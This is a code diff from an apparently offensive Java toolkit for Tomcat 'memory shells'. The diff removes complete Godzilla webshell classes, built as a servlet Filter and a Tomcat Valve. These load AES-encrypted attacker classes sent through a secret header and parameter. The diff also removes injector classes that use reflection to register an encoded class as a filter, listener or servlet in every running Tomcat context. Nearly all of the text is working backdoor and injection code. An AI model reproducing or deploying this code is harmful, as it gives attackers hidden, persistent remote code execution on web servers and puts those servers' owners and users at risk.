HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
-137
@@ -1,137 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaValve extends ClassLoader implements Valve {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public GodzillaValve() {
|
||||
}
|
||||
|
||||
public GodzillaValve(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(data);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
-276
@@ -1,276 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*/
|
||||
public class TomcatFilterInjector {
|
||||
|
||||
static {
|
||||
new TomcatFilterInjector();
|
||||
}
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
System.out.println("filter inject get context error");
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream gzipInputStream = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class<?> tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (Method value : methods) {
|
||||
if (value.getName().equals(methodName) && value.getParameterTypes().length == 0) {
|
||||
method = value;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getFilter(Object context) {
|
||||
Object filter = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
filter = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
filter = clazz.newInstance();
|
||||
} catch (Throwable e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return filter;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
|
||||
String filterClassName = getClassName();
|
||||
Object filterDef;
|
||||
Object filterMap;
|
||||
|
||||
// 防止重复注入
|
||||
try {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
|
||||
System.out.println("filter alread injected");
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
|
||||
try {
|
||||
// tomcat v8/9
|
||||
filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
||||
} catch (Exception e2) {
|
||||
// tomcat v6/7
|
||||
try {
|
||||
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance();
|
||||
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
|
||||
}
|
||||
}
|
||||
try {
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
|
||||
invokeMethod(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"});
|
||||
Constructor<?>[] constructors;
|
||||
try {
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
} catch (Exception e) {
|
||||
// tomcat v5
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
|
||||
}
|
||||
try {
|
||||
// v7.0.0 以上
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
System.out.println("filter inject success");
|
||||
constructors[0].setAccessible(true);
|
||||
try {
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterClassName, filterConfig);
|
||||
} catch (Exception e) {
|
||||
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
|
||||
if (!(e.getCause() instanceof ClassNotFoundException)) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
-248
@@ -1,248 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Tomcat Listener 注入器
|
||||
* 测试版本:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
static {
|
||||
new TomcatListenerInjector();
|
||||
}
|
||||
|
||||
public TomcatListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getListener(context);
|
||||
addListener(context, listener);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addListener(Object context, Object listener) throws Exception {
|
||||
if (!isInjected(context, listener.getClass().getName())) {
|
||||
Object applicationEventListenersObjects = getFV(context, "applicationEventListenersObjects");
|
||||
if (applicationEventListenersObjects != null) {
|
||||
Object[] appListeners = (Object[]) applicationEventListenersObjects;
|
||||
if (appListeners != null) {
|
||||
List appListenerList = new ArrayList(Arrays.asList(appListeners));
|
||||
appListenerList.add(listener);
|
||||
setFieldValue(context, "applicationEventListenersObjects", appListenerList.toArray());
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
List<Object> appListeners = (List<Object>) getFV(context, "applicationEventListenersList");
|
||||
if (appListeners != null) {
|
||||
appListeners.add(listener);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String evilClassName) throws Exception {
|
||||
Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners");
|
||||
List listeners = Arrays.asList(objects);
|
||||
ArrayList arrayList = new ArrayList(listeners);
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().contains(evilClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-301
@@ -1,301 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.*;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/15
|
||||
*/
|
||||
public class TomcatServletInjector {
|
||||
static {
|
||||
new TomcatServletInjector();
|
||||
}
|
||||
|
||||
public TomcatServletInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object servlet = getServlet(context);
|
||||
if (servlet == null) {
|
||||
continue;
|
||||
}
|
||||
addServlet(context, servlet);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
